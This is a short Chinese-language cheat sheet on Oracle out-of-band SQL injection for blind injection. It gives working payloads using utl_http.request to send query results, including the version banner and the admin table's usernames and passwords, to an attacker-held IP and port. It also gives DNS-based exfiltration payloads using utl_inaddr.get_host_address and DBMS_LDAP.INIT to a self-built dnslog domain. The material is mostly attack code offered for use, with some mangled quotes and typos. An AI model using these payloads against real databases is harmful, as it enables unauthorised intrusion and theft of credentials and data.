utl_http.request()函数

说明

通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方 法用户需要有utl_http访问网络的权限。
检测是否支持utl_http.request utl_http.request 页面正常支持

select FROM CLASSINFO where CLASSID=88 and exists (select count() from all_objects where object_name=’UTL_HTTP’)
image.png

反弹注入命令

and utl_http.request(‘http://域名或者ip:端口/'||(注入的语句))=1

注意

|| 注意转码%7C%7C#

数据库语句

select * FROM CLASSINFO where CLASSID=88 and utlhttp.request(‘http://192.168.5.28:2019/'||(select banner from sys.v$version where rownum=1))=1—
image.png
image.png

查看当前连接用户

select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’)from dual

查询admin的帐号和密

and utl_http.request(‘http://192.168.5.28:2019/'%7c%7c(select username%7c%7cpassword from admin))=1

utl_inaddr.get_host_address()函数

and (select utl_inaddr.get_host_address((select user fromdual)||’.aaa.com(自己搭建 dnslog)’) from dual)is not null —

SYS.DBMS_LDAP.INIT()函数

and (select SYS.DBMS_LDAP.INIT((select user from dual)||’.aaaa.com(自己搭建dnslog)’) from dual)is not null —